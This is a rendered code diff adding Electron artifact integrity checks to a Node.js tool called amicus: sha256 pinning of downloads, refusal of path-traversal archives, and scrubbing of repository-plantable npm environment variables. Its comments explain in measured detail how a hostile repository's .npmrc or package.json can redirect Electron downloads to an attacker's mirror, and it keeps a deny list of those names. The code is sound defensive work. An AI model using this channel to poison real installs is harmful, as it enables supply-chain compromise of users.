const zip = findZip({ version, platform, arch, env: process.env, fs });
|
|
241
225
|
if (zip) {
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
try { fs.rmSync(zip, { force: true }); } catch { /* ignore */ }
|
|
250
|
-
if (cacheOnly) {
|
|
251
|
-
return {
|
|
252
|
-
repaired: false,
|
|
253
|
-
reason: `Cached electron zip for v${version} (${platform}-${arch}) was corrupt and removed; deferring re-download.${avHint(platform)}`,
|
|
254
|
-
};
|
|
255
|
-
}
|
|
226
|
+
// C2: anything that can write the cache dir can swap these bytes, so HASH
|
|
227
|
+
// BEFORE EXTRACT — extractFromCache must be unreachable for an artifact the
|
|
228
|
+
// anchor contradicts. A missing anchor is NOT a refusal (see verifyArtifact).
|
|
229
|
+
const gate = verifyArtifact({ zip, anchor, fileName, policy, fs, log: stderrLog });
|
|
230
|
+
if (!gate.allowed) {
|
|
231
|
+
refusal = rejectCachedZip({ gate, zip, fileName, env: process.env, fs, log: stderrLog });
|
|
232
|
+
if (cacheOnly) { return refusal; }
|
|
256
233
|
// else: drop into the controlled download below.
|
|
234
|
+
} else {
|
|
235
|
+
try {
|
|
236
|
+
await extractFromCache({ zip, electronDir, platform, extract, fs });
|
|
237
|
+
// Non-throwing extract w/ absent exe = the AV-quarantine signature.
|
|
238
|
+
const outcome = verifyExtractOutcome({ electronDir, platform, fs });
|
|
239
|
+
return gate.verdict === 'no-digest' ? { ...outcome, unverified: true } : outcome;
|
|
240
|
+
} catch (extractErr) {
|
|
241
|
+
// C4 IS A CALL-SITE INVARIANT. A path-traversal refusal must not be
|
|
242
|
+
// deleted-and-retried, nor reported as "corrupt" — it stops here.
|
|
243
|
+
if (isUnsafeArchive(extractErr)) { return refuseUnsafeArchive({ err: extractErr, fileName, log: stderrLog }); }
|
|
244
|
+
// Corrupt cached artifact: delete the bad zip so it can't poison the
|
|
245
|
+
// cache, then fall through to a forced fresh download (unless offline).
|
|
246
|
+
try { fs.rmSync(zip, { force: true }); } catch { /* ignore */ }
|
|
247
|
+
if (cacheOnly) {
|
|
248
|
+
return { repaired: false, reason: `Cached electron zip for v${version} (${platform}-${arch}) was corrupt and removed; deferring re-download.${avHint(platform)}` };
|
|
249
|
+
}
|
|
250
|
+
// else: drop into the controlled download below.
|
|
251
|
+
}
|
|
257
252
|
}
|
|
258
253
|
} else if (cacheOnly) {
|
|
259
|
-
return {
|
|
260
|
-
deferred: true,
|
|
261
|
-
reason: `No cached electron zip found for v${version} (${platform}-${arch}); deferring download.${avHint(platform)}`,
|
|
262
|
-
};
|
|
254
|
+
return { deferred: true, reason: `No cached electron zip found for v${version} (${platform}-${arch}); deferring download.${avHint(platform)}` };
|
|
263
255
|
}
|
|
264
256
|
|
|
265
|
-
// Attempt 2 (online): CONTROLLED download+extract instead of a blind
|
|
266
|
-
//
|
|
267
|
-
//
|
|
268
|
-
// download that produced no usable exe is a FAILURE (no false success; #53).
|
|
257
|
+
// Attempt 2 (online): CONTROLLED download+extract instead of a blind install.js
|
|
258
|
+
// spawn — the SAME @electron/get api install.js uses, extracted offline, then the
|
|
259
|
+
// REAL usability reported. A download that produced no usable exe is a FAILURE (#53).
|
|
269
260
|
let controlledExtracted = false;
|
|
270
261
|
try {
|
|
271
262
|
const downloadArtifact = await resolveDownloadArtifact();
|
|
272
263
|
await controlledProvision({
|
|
273
|
-
electronDir, platform, arch, version, downloadArtifact, extract,
|
|
264
|
+
electronDir, platform, arch, version, anchor, downloadArtifact, extract, extractFromCache,
|
|
265
|
+
fs, env: process.env, downloadMs: timeoutMs, policy, log: stderrLog,
|
|
274
266
|
});
|
|
275
267
|
controlledExtracted = true; // download + extract returned without throwing
|
|
276
|
-
} catch {
|
|
268
|
+
} catch (provisionErr) {
|
|
269
|
+
// C4 again: an unsafe archive here must NOT reach runInstaller, which would
|
|
270
|
+
// re-download and re-extract it through an extractor amicus does not drive.
|
|
271
|
+
if (isUnsafeArchive(provisionErr)) { return refuseUnsafeArchive({ err: provisionErr, fileName, log: stderrLog }); }
|
|
277
272
|
// Controlled download/extract failed (network, checksum, unzip). Try the
|
|
278
273
|
// installer as a LAST resort — it can NEVER short-circuit the honest
|
|
279
274
|
// verify below; we always return isElectronUsable().
|
|
280
|
-
try { runInstaller({ electronDir, force, spawn }); } catch { /* ignore */ }
|
|
275
|
+
try { runInstaller({ electronDir, force, spawn, platform, arch }); } catch { /* ignore */ }
|
|
281
276
|
}
|
|
282
277
|
// A NON-throwing controlled extract that left no usable exe is the
|
|
283
|
-
// AV-quarantine signature — surface it actionably (no false success, no
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
278
|
+
// AV-quarantine signature — surface it actionably (no false success, no loop).
|
|
279
|
+
const out = controlledExtracted
|
|
280
|
+
? verifyExtractOutcome({ electronDir, platform, fs })
|
|
281
|
+
: { repaired: isElectronUsable({ electronDir, platform, fs }) };
|
|
282
|
+
// A refusal the download did not rescue must reach doctor and the postinstall
|
|
283
|
+
// notice; plain {repaired:false} is what made a REFUSED artifact read as an
|
|
284
|
+
// ordinary "not provisioned" everywhere outside the cacheOnly path.
|
|
285
|
+
if (!out.repaired && refusal) { return { ...out, integrity: refusal.integrity, reason: [refusal.reason, out.reason].filter(Boolean).join(' ') }; }
|
|
286
|
+
return out;
|
|
287
287
|
} finally {
|
|
288
288
|
try { lock.release(); } catch { /* ignore */ }
|
|
289
289
|
}
|
|
@@ -0,0 +1,179 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Electron CONTROLLED provision — the pinned download, and what happens to a
|
|
3
|
+
* cached artifact the digest gate refuses.
|
|
4
|
+
*
|
|
5
|
+
* Split out of electron-install.js because that file sits at the repo's 300-line
|
|
6
|
+
* gate and cannot grow. The require arrow is
|
|
7
|
+
* electron-install -> electron-provision -> electron-trust and must never point
|
|
8
|
+
* back, so `extractFromCache` arrives as an argument rather than an import.
|
|
9
|
+
*
|
|
10
|
+
* @module sidecar/electron-provision
|
|
11
|
+
*/
|
|
12
|
+
|
|
13
|
+
'use strict';
|
|
14
|
+
|
|
15
|
+
const path = require('path');
|
|
16
|
+
|
|
17
|
+
const { resolveCacheRoots } = require('./electron-cache');
|
|
18
|
+
const { artifactFileName, expectedDigest } = require('./electron-trust');
|
|
19
|
+
const { containsOnDisk } = require('../utils/path-fence');
|
|
20
|
+
|
|
21
|
+
/** Best-effort cache root for downloadArtifact (first resolved root). */
|
|
22
|
+
function cacheRootFor(env = process.env) {
|
|
23
|
+
return resolveCacheRoots(env)[0];
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
/**
|
|
27
|
+
* CONTROLLED provision: fetch the zip ourselves with the SAME @electron/get
|
|
28
|
+
* api install.js uses (downloadArtifact, force:true), extract offline, and let
|
|
29
|
+
* the caller verify isElectronUsable(). No blind install.js spawn.
|
|
30
|
+
*
|
|
31
|
+
* C1 — THE PIN. `checksums` is what breaks the attack chain. Supplied, it makes
|
|
32
|
+
* @electron/get write a LOCAL SHASUMS256.txt from this table and never fetch one
|
|
33
|
+
* from the mirror, so a redirected download still has to produce bytes matching
|
|
34
|
+
* electron's own published sha256. Passed as the ONE entry for this artifact:
|
|
35
|
+
* an empty table is a hard throw upstream, and a table missing the requested
|
|
36
|
+
* name fails the download outright — which is why no anchor means no `checksums`
|
|
37
|
+
* key at all rather than an empty one. With no anchor, @electron/get falls back
|
|
38
|
+
* to its own remote SHASUMS256.txt fetch: weaker, but never a re-download loop.
|
|
39
|
+
*
|
|
40
|
+
* THE HATCH REACHES THIS ROUTE TOO. `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` used to
|
|
41
|
+
* be handed only to the cached-artifact gate, so the one case both docs describe
|
|
42
|
+
* — a machine whose electron bytes legitimately differ (a local rebuild, an
|
|
43
|
+
* internally-signed build on a corporate mirror) — still had its download pinned
|
|
44
|
+
* to the official digest and failed. MEASURED before this change: with the hatch
|
|
45
|
+
* set and nothing in any cache root, `checksums` was still sent and the call
|
|
46
|
+
* returned `{repaired:false}` with no reason at all. When the hatch is set the
|
|
47
|
+
* pin is dropped here and @electron/get falls back to the mirror's own
|
|
48
|
+
* SHASUMS256.txt, which is what a rebuild publishes. That is a real downgrade,
|
|
49
|
+
* so it is stated out loud on stderr every time rather than happening quietly —
|
|
50
|
+
* and it is reachable ONLY through a bare env name a repository cannot plant.
|
|
51
|
+
* @returns {Promise<void>}
|
|
52
|
+
*/
|
|
53
|
+
async function controlledProvision({
|
|
54
|
+
electronDir, platform, arch, version, anchor, downloadArtifact, extract, extractFromCache,
|
|
55
|
+
fs, env = process.env, downloadMs = 480000, policy = {}, log = () => {},
|
|
56
|
+
}) {
|
|
57
|
+
const fileName = artifactFileName({ version, platform, arch });
|
|
58
|
+
let digest = expectedDigest(anchor, fileName);
|
|
59
|
+
if (digest && policy.allowUnverified) {
|
|
60
|
+
log('[amicus] WARNING: AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 — downloading without the published');
|
|
61
|
+
log(`[amicus] sha256 pin for ${fileName}; its digest comes from the mirror you are using.`);
|
|
62
|
+
digest = null;
|
|
63
|
+
}
|
|
64
|
+
const zip = await downloadArtifact({
|
|
65
|
+
version,
|
|
66
|
+
artifactName: 'electron',
|
|
67
|
+
force: true,
|
|
68
|
+
cacheRoot: cacheRootFor(env),
|
|
69
|
+
platform,
|
|
70
|
+
arch,
|
|
71
|
+
...(digest ? { checksums: { [fileName]: digest } } : {}),
|
|
72
|
+
downloadOptions: { signal: AbortSignal.timeout(downloadMs) }, // 5.x native fetch: bound stalled downloads, free the lock
|
|
73
|
+
});
|
|
74
|
+
await extractFromCache({ zip, electronDir, platform, extract, fs });
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/**
|
|
78
|
+
* May this refused artifact be deleted? STRICTLY NARROWER than the unconditional
|
|
79
|
+
* `fs.rmSync` on the corrupt-extract path: the basename must be exactly the
|
|
80
|
+
* artifact we asked for, AND the file must resolve inside a resolved cache root.
|
|
81
|
+
* `containsOnDisk` realpaths both sides and returns false on any error, so an
|
|
82
|
+
* unresolvable path is refused rather than trusted — deleting at an
|
|
83
|
+
* attacker-influenceable path is the one thing a poisoned cache could otherwise
|
|
84
|
+
* turn into a weapon.
|
|
85
|
+
*
|
|
86
|
+
* Cost if it returns a wrong false: the mismatched zip stays and is re-downloaded
|
|
87
|
+
* once per provision. An availability cost, never a safety one — the gate above
|
|
88
|
+
* still refuses to extract it.
|
|
89
|
+
*/
|
|
90
|
+
function mayDeleteRejectedZip({ zip, fileName, env = process.env }) {
|
|
91
|
+
if (path.basename(zip) !== fileName) { return false; }
|
|
92
|
+
return resolveCacheRoots(env).some((root) => containsOnDisk(root, zip));
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
/**
|
|
96
|
+
* Act on a REFUSED cached artifact: remove the poison when it is safe to, say
|
|
97
|
+
* plainly what happened, and hand back the result shape a cacheOnly caller
|
|
98
|
+
* returns. Deletion happens ONLY on `mismatch` — a `no-digest` artifact is not
|
|
99
|
+
* evidence of anything, and an `unreadable` one is a file we could not even hash.
|
|
100
|
+
* @returns {{repaired:false, integrity:string, reason:string}}
|
|
101
|
+
*/
|
|
102
|
+
function rejectCachedZip({ gate, zip, fileName, env = process.env, fs, log = () => {} }) {
|
|
103
|
+
let removed = false;
|
|
104
|
+
if (gate.verdict === 'mismatch' && mayDeleteRejectedZip({ zip, fileName, env })) {
|
|
105
|
+
try {
|
|
106
|
+
fs.rmSync(zip, { force: true });
|
|
107
|
+
removed = true;
|
|
108
|
+
} catch { /* a cache we cannot write is not a reason to fail the repair */ }
|
|
109
|
+
}
|
|
110
|
+
const what = gate.verdict === 'mismatch'
|
|
111
|
+
? `sha256 ${gate.actual} does not match the published ${gate.expected}`
|
|
112
|
+
: gate.reason;
|
|
113
|
+
log(`[amicus] Electron artifact REFUSED: ${fileName}`);
|
|
114
|
+
log(`[amicus] ${zip}`);
|
|
115
|
+
log(`[amicus] ${what}`);
|
|
116
|
+
log('[amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO');
|
|
117
|
+
log('[amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT');
|
|
118
|
+
log('[amicus] electron looks like — amicus cannot tell them apart.');
|
|
119
|
+
// ORDER MATTERS. The advice comes BEFORE the removal notice, and says what to
|
|
120
|
+
// do about a file that is already gone: a hand-seeded air-gapped cache is the
|
|
121
|
+
// one place the refused artifact was also the ONLY copy, and being told about
|
|
122
|
+
// the hatch after "The file has been removed." is being told too late to use
|
|
123
|
+
// it. The delete itself is required (a poisoned zip must not survive to be
|
|
124
|
+
// re-offered); the words around it are what make it recoverable.
|
|
125
|
+
log('[amicus] If you deliberately run a REBUILT electron, set');
|
|
126
|
+
log('[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — it accepts these');
|
|
127
|
+
log('[amicus] bytes on the cache path and drops the digest pin on the download path.');
|
|
128
|
+
log(`[amicus] ${removed
|
|
129
|
+
? 'The file has been removed: re-copy it from the machine that downloaded it (or let'
|
|
130
|
+
+ '\n[amicus] amicus download it again) once that variable is set.'
|
|
131
|
+
: 'The file was left in place.'}`);
|
|
132
|
+
log('[amicus] Headless runs and the council work without the GUI.');
|
|
133
|
+
return {
|
|
134
|
+
repaired: false,
|
|
135
|
+
integrity: gate.verdict,
|
|
136
|
+
reason: `Cached electron artifact ${fileName} was REFUSED: ${what}.`
|
|
137
|
+
+ `${removed ? ' It has been removed.' : ' It was left in place.'}`,
|
|
138
|
+
};
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
/** The terminal path-traversal refusal `robustExtract` throws (unzip.js C4). */
|
|
142
|
+
function isUnsafeArchive(err) {
|
|
143
|
+
return !!err && err.code === 'UNZIP_UNSAFE_ARCHIVE';
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
/**
|
|
147
|
+
* C4 AT THE CALL SITE. unzip.js classifies extract-zip's path-traversal refusals
|
|
148
|
+
* as terminal so the same archive is never handed to an OS extractor that has no
|
|
149
|
+
* such check. That invariant held only INSIDE unzip.js: both of repairElectron's
|
|
150
|
+
* catch blocks used to swallow the refusal without reading `err.code` and launder
|
|
151
|
+
* it back into exactly the retry the control forbids — the network path spawned
|
|
152
|
+
* `node <electronDir>/install.js`, which re-downloads and re-extracts through
|
|
153
|
+
* @electron-internal/extract-zip with no amicus supervision (the forbidden move,
|
|
154
|
+
* one stack frame up), and the cache path deleted the zip through the UNFENCED
|
|
155
|
+
* `fs.rmSync` and told the user it "was corrupt and removed" — a security refusal
|
|
156
|
+
* reported as corruption. MEASURED both, before this change.
|
|
157
|
+
*
|
|
158
|
+
* So the refusal ends here: no retry, no fallback extractor, and no delete. The
|
|
159
|
+
* archive is left where it is, because a refused archive is evidence, and
|
|
160
|
+
* `err.message` already carries the path and extract-zip's own reason.
|
|
161
|
+
* @returns {{repaired:false, integrity:'unsafe-archive', reason:string}}
|
|
162
|
+
*/
|
|
163
|
+
function refuseUnsafeArchive({ err, fileName, log = () => {} }) {
|
|
164
|
+
const detail = (err && err.message) || 'the archive tried to write outside its destination';
|
|
165
|
+
log(`[amicus] Electron artifact REFUSED (unsafe archive): ${fileName}`);
|
|
166
|
+
log(`[amicus] ${detail}`);
|
|
167
|
+
log('[amicus] Entries in that zip tried to write OUTSIDE the destination directory. amicus');
|
|
168
|
+
log('[amicus] will not retry it with another extractor, and has left the file in place.');
|
|
169
|
+
log('[amicus] Headless runs and the council work without the GUI.');
|
|
170
|
+
return {
|
|
171
|
+
repaired: false,
|
|
172
|
+
integrity: 'unsafe-archive',
|
|
173
|
+
reason: `Electron artifact ${fileName} was REFUSED: ${detail}. It was NOT retried and NOT removed.`,
|
|
174
|
+
};
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
module.exports = {
|
|
178
|
+
cacheRootFor, controlledProvision, mayDeleteRejectedZip, rejectCachedZip, isUnsafeArchive, refuseUnsafeArchive,
|
|
179
|
+
};
|
|
@@ -0,0 +1,299 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Electron artifact TRUST core — the digest anchor, the gate, and the env scrub.
|
|
3
|
+
*
|
|
4
|
+
* A hostile REPOSITORY (a clone the user opens, an unpacked sample) controls the
|
|
5
|
+
* `.npmrc` and `package.json` of the directory amicus's own docs tell people to
|
|
6
|
+
* run `npx -y amicus@latest` in. MEASURED (npm 11.16.0): that reaches the child
|
|
7
|
+
* as exactly two name shapes — `npm_config_<key lowercased>` and
|
|
8
|
+
* `npm_package_config_<key case-preserved>` — and NOTHING else. Bare `ELECTRON_*`
|
|
9
|
+
* and `AMICUS_*` names are out of its reach. THAT is the trust boundary this
|
|
10
|
+
* module encodes: the escape hatch can be a plain environment variable, and a
|
|
11
|
+
* machine-level `ELECTRON_MIRROR` can still be honoured, precisely because a
|
|
12
|
+
* repository cannot write either one.
|
|
13
|
+
*
|
|
14
|
+
* The control is the DIGEST, not the URL. Supplying `checksums` to
|
|
15
|
+
* `downloadArtifact` makes `@electron/get` write a LOCAL `SHASUMS256.txt` and
|
|
16
|
+
* never fetch one from the mirror (@electron/get 5.0.0, dist/index.js, lines
|
|
17
|
+
* 28-40), so an attacker who redirects the download still has to produce bytes that match
|
|
18
|
+
* electron's own published sha256. Blocking the URL itself is defence in depth on
|
|
19
|
+
* top of a control that already works, and is deliberately NOT built here.
|
|
20
|
+
*
|
|
21
|
+
* LEAF MODULE: `crypto` + `path` + `fs` and nothing from this repo. The arrow is
|
|
22
|
+
* electron-install -> electron-provision -> electron-trust and must never point
|
|
23
|
+
* back; src/utils/path-fence.js:11-17 records what a cycle does to a destructured
|
|
24
|
+
* import in exactly this cluster.
|
|
25
|
+
*
|
|
26
|
+
* @module sidecar/electron-trust
|
|
27
|
+
*/
|
|
28
|
+
|
|
29
|
+
'use strict';
|
|
30
|
+
|
|
31
|
+
const crypto = require('crypto');
|
|
32
|
+
const fsDefault = require('fs');
|
|
33
|
+
const path = require('path');
|
|
34
|
+
|
|
35
|
+
/**
|
|
36
|
+
* Env-name PREFIXES an untrusted REPOSITORY can plant. MEASURED, npm 11: a repo
|
|
37
|
+
* .npmrc key `k` reaches an `npm run` / `npm exec` child as
|
|
38
|
+
* `npm_config_<k lowercased>`; a repo package.json "config" key `k` reaches it as
|
|
39
|
+
* `npm_package_config_<k>` with case preserved. Nothing else.
|
|
40
|
+
*
|
|
41
|
+
* PREFIXES, not a hand-maintained name list. Two prefixes cover every
|
|
42
|
+
* `@electron/get` mirror knob in each repo-reachable spelling, plus electron's
|
|
43
|
+
* own `npm_config_electron_use_remote_checksums` (electron's install.js, lines
|
|
44
|
+
* 47-50 — that name turns electron's bundled pin OFF), plus any knob a future
|
|
45
|
+
* @electron/get adds in the same namespace. Contrast ENGINE_CREDENTIAL_ENV
|
|
46
|
+
* (scripts/run-integration-keyless.js:101), whose own docblock warns that nothing
|
|
47
|
+
* makes a name list follow an upstream bump.
|
|
48
|
+
*
|
|
49
|
+
* The BARE `electron_use_remote_checksums` is deliberately NOT removed: a bare
|
|
50
|
+
* lower-case name is not repo-injectable, so it carries the machine owner's
|
|
51
|
+
* intent, exactly like a bare `ELECTRON_MIRROR`.
|
|
52
|
+
*
|
|
53
|
+
* MATCHED CASE-INSENSITIVELY. This used to fold no case, on the claim that
|
|
54
|
+
* because the Windows environment block is case-insensitive, deleting the
|
|
55
|
+
* lower-case name also removed the `NPM_CONFIG_ELECTRON_*` view @electron/get
|
|
56
|
+
* reads second. That is true of `process.env` and FALSE of the `{...env}` PLAIN
|
|
57
|
+
* OBJECT this module actually deletes from — a plain object is case-sensitive on
|
|
58
|
+
* every platform, so the upper-case key survived and was handed to the child.
|
|
59
|
+
* RE-MEASURED (npm 11.16.0, Windows 11) — two ways a repository reaches an
|
|
60
|
+
* upper-case slot:
|
|
61
|
+
* 1. `.npmrc` `electron_mirror=…` while `NPM_CONFIG_ELECTRON_MIRROR` already
|
|
62
|
+
* exists in the environment: npm overwrites that slot's VALUE and never
|
|
63
|
+
* renames it, so the child sees the ATTACKER's URL under the upper-case name.
|
|
64
|
+
* 2. `package.json` `"config": {"ELECTRON_MIRROR": …}`: npm PRESERVES the key's
|
|
65
|
+
* case, planting `npm_package_config_ELECTRON_MIRROR` with nothing
|
|
66
|
+
* pre-existing at all — and @electron/get's own lookup for
|
|
67
|
+
* `npm_package_config_electron_mirror` (dist/artifact-utils.js, line 28) finds it,
|
|
68
|
+
* because the Windows lookup is case-insensitive too.
|
|
69
|
+
* The old docblock's POSIX half (`NPM_CONFIG_ELECTRON_*` is a distinct variable
|
|
70
|
+
* npm never writes there, so it is the machine owner's) is NOT measurable from
|
|
71
|
+
* this machine, and it is load-bearing in the fail-OPEN direction: wrong, it
|
|
72
|
+
* hands the child an attacker's mirror. Wrong the other way it costs one
|
|
73
|
+
* alternate spelling inside a last-resort spawn, while bare `ELECTRON_MIRROR`
|
|
74
|
+
* — which @electron/get ranks FIRST — still carries owner intent. So the fold is
|
|
75
|
+
* unconditional rather than resting on an unverified platform claim.
|
|
76
|
+
*/
|
|
77
|
+
const REPO_ENV_PREFIXES = ['npm_config_electron_', 'npm_package_config_electron_'];
|
|
78
|
+
|
|
79
|
+
/** electron's install.js, lines 20-21 and 99 — these choose WHICH artifact it
|
|
80
|
+
* fetches, and `.npmrc` `platform=`/`arch=` plants both. Same case fold. */
|
|
81
|
+
const ELECTRON_INSTALL_TARGET_ENV = ['npm_config_platform', 'npm_config_arch'];
|
|
82
|
+
|
|
83
|
+
/** A published sha256 is 64 LOWER-case hex characters. Anything else is not an anchor. */
|
|
84
|
+
const HEX64 = /^[0-9a-f]{64}$/;
|
|
85
|
+
|
|
86
|
+
/** Leading 'v' applied exactly once — matches @electron/get's normalizeVersion. */
|
|
87
|
+
function normalizeV(version) {
|
|
88
|
+
const v = String(version || '');
|
|
89
|
+
return v.startsWith('v') ? v : `v${v}`;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
/** True for a name a hostile repository could have planted, in ANY case (see above). */
|
|
93
|
+
function isRepoPlantedName(name) {
|
|
94
|
+
const lower = String(name).toLowerCase();
|
|
95
|
+
return REPO_ENV_PREFIXES.some((prefix) => lower.startsWith(prefix))
|
|
96
|
+
|| ELECTRON_INSTALL_TARGET_ENV.includes(lower);
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
/**
|
|
100
|
+
* The amicus-namespaced trust policy. THE ONLY place the escape hatch is read.
|
|
101
|
+
* Never reads npm_config_* / npm_package_config_* / NPM_CONFIG_* — those are the
|
|
102
|
+
* attacker's channel, and a rule that read its own writer's surface would be no
|
|
103
|
+
* rule at all.
|
|
104
|
+
*
|
|
105
|
+
* `allowUnverified` is true for the string '1' and NOTHING else — 'true', 'yes',
|
|
106
|
+
* ' 1' are all false. A hatch that fails open on a typo is not a hatch.
|
|
107
|
+
* @param {NodeJS.ProcessEnv} [env]
|
|
108
|
+
* @returns {{ allowUnverified: boolean }}
|
|
109
|
+
*/
|
|
110
|
+
function electronTrustPolicy(env = process.env) {
|
|
111
|
+
return { allowUnverified: env.AMICUS_ALLOW_UNVERIFIED_ELECTRON === '1' };
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
/** `electron-v43.1.1-win32-x64.zip`. Matches BOTH electron's checksums.json keys
|
|
115
|
+
* and @electron/get's getArtifactFileName + normalizeVersion. */
|
|
116
|
+
function artifactFileName({ version, platform, arch }) {
|
|
117
|
+
return `electron-${normalizeV(version)}-${platform}-${arch}.zip`;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
/**
|
|
121
|
+
* The electron package THIS amicus resolves — resolveAnchor rung 1. Duplicated
|
|
122
|
+
* (not imported from electron-install.defaultElectronDir) so this module stays a
|
|
123
|
+
* leaf and the require arrow keeps pointing one way.
|
|
124
|
+
* @returns {string|null}
|
|
125
|
+
*/
|
|
126
|
+
function selfElectronPackageDir() {
|
|
127
|
+
try {
|
|
128
|
+
return path.dirname(require.resolve('electron/package.json'));
|
|
129
|
+
} catch {
|
|
130
|
+
return null;
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
/** Parse one checksums.json into a table of ONLY well-formed rows. Never throws. */
|
|
135
|
+
function readChecksumTable(file, fs) {
|
|
136
|
+
try {
|
|
137
|
+
const parsed = JSON.parse(fs.readFileSync(file, 'utf-8'));
|
|
138
|
+
if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) { return null; }
|
|
139
|
+
const table = {};
|
|
140
|
+
for (const [name, digest] of Object.entries(parsed)) {
|
|
141
|
+
if (typeof digest === 'string' && HEX64.test(digest)) { table[name] = digest; }
|
|
142
|
+
}
|
|
143
|
+
return Object.keys(table).length > 0 ? table : null;
|
|
144
|
+
} catch {
|
|
145
|
+
return null;
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
/**
|
|
150
|
+
* Resolve the digest ANCHOR, offline. Precedence, highest first:
|
|
151
|
+
* 1. <selfElectronDir>/checksums.json — the RUNNING amicus's own table.
|
|
152
|
+
* 2. <electronDir>/checksums.json — ONLY when rung 1 offers no usable table.
|
|
153
|
+
*
|
|
154
|
+
* RUNG 1 IS LOAD-BEARING, not a convenience. `doctor --fix`
|
|
155
|
+
* (src/utils/doctor-electron-mcp-check.js:122-137) hands `repairElectron` an
|
|
156
|
+
* electronDir found by a FILESYSTEM SCAN of npx caches, so rung 2 on its own
|
|
157
|
+
* would read the anchor out of the same untrusted directory the bytes came from
|
|
158
|
+
* — the pin would vouch for the attacker's own zip. Rung 1 is the same published
|
|
159
|
+
* data out of a tree npm installed for amicus itself, before any hostile
|
|
160
|
+
* directory was visited.
|
|
161
|
+
*
|
|
162
|
+
* WHY RUNG 1 NO LONGER TESTS THE VERSION. It used to apply only when the self
|
|
163
|
+
* package's version equalled the requested one — but the requested `version` is
|
|
164
|
+
* itself read out of `<electronDir>/package.json` whenever the caller supplies
|
|
165
|
+
* none (electron-install.js `if (!version)`), and the ONE production caller,
|
|
166
|
+
* doctor --fix, supplies none. MEASURED on this tree: a planted
|
|
167
|
+
* `{"version":"99.0.0"}` demoted rung 1 by DATA alone, the scanned tree's own
|
|
168
|
+
* checksums.json then vouched for its own bytes, and repairElectron returned
|
|
169
|
+
* `{repaired:true}` after extracting POISONED-BYTES. A rule that reads its own
|
|
170
|
+
* selector off the surface it exists to distrust is not a rule. No version check
|
|
171
|
+
* is needed to keep a genuine version disagreement honest, because the table is
|
|
172
|
+
* keyed by the FULL artifact filename: a self table for 43.1.1 simply holds no
|
|
173
|
+
* `electron-v99.0.0-…zip` row, `expectedDigest` returns null, and the gate's
|
|
174
|
+
* `no-digest` verdict extracts-and-MARKS exactly as the brief requires — never a
|
|
175
|
+
* refusal, never a re-download loop.
|
|
176
|
+
*
|
|
177
|
+
* Rung 2 therefore survives for exactly one case: amicus's own electron package
|
|
178
|
+
* ships no readable checksums.json (an old electron, or the optionalDependency
|
|
179
|
+
* never installed). There the target's table is all there is, and it is still
|
|
180
|
+
* better than nothing against a truncated download.
|
|
181
|
+
*
|
|
182
|
+
* Pass `selfElectronDir: null` to disable rung 1.
|
|
183
|
+
* NEVER THROWS. Rejects a table whose values are not 64 lower-case hex.
|
|
184
|
+
* @returns {{ table: Record<string,string>, source: string } | null}
|
|
185
|
+
*/
|
|
186
|
+
function resolveAnchor({ electronDir, fs = fsDefault, selfElectronDir } = {}) {
|
|
187
|
+
const self = selfElectronDir === undefined ? selfElectronPackageDir() : selfElectronDir;
|
|
188
|
+
for (const dir of [self, electronDir]) {
|
|
189
|
+
if (!dir) { continue; }
|
|
190
|
+
const source = path.join(dir, 'checksums.json');
|
|
191
|
+
const table = readChecksumTable(source, fs);
|
|
192
|
+
if (table) { return { table, source }; }
|
|
193
|
+
}
|
|
194
|
+
return null;
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
/** @returns {string|null} the 64-hex digest for one artifact, or null. */
|
|
198
|
+
function expectedDigest(anchor, fileName) {
|
|
199
|
+
if (!anchor || !anchor.table) { return null; }
|
|
200
|
+
const digest = anchor.table[fileName];
|
|
201
|
+
return typeof digest === 'string' && HEX64.test(digest) ? digest : null;
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
/** Chunked sha256 (1 MiB buffer, openSync/readSync). SYNC so it composes with
|
|
205
|
+
* repairElectron's injected `fs`; chunked so a ~170 MB zip is never buffered whole. */
|
|
206
|
+
function sha256File(file, fs = fsDefault) {
|
|
207
|
+
const hash = crypto.createHash('sha256');
|
|
208
|
+
const buffer = Buffer.alloc(1024 * 1024);
|
|
209
|
+
const fd = fs.openSync(file, 'r');
|
|
210
|
+
try {
|
|
211
|
+
let read = fs.readSync(fd, buffer, 0, buffer.length, null);
|
|
212
|
+
while (read > 0) {
|
|
213
|
+
hash.update(buffer.subarray(0, read));
|
|
214
|
+
read = fs.readSync(fd, buffer, 0, buffer.length, null);
|
|
215
|
+
}
|
|
216
|
+
} finally {
|
|
217
|
+
try { fs.closeSync(fd); } catch { /* already closed */ }
|
|
218
|
+
}
|
|
219
|
+
return hash.digest('hex');
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
/**
|
|
223
|
+
* THE GATE. NEVER THROWS. `allowed` is the single decision bit callers act on.
|
|
224
|
+
*
|
|
225
|
+
* @returns {{verdict:'verified', allowed:true, actual:string}
|
|
226
|
+
* | {verdict:'mismatch', allowed:boolean, expected:string, actual:string}
|
|
227
|
+
* | {verdict:'no-digest', allowed:true}
|
|
228
|
+
* | {verdict:'unreadable', allowed:false, reason:string}}
|
|
229
|
+
*
|
|
230
|
+
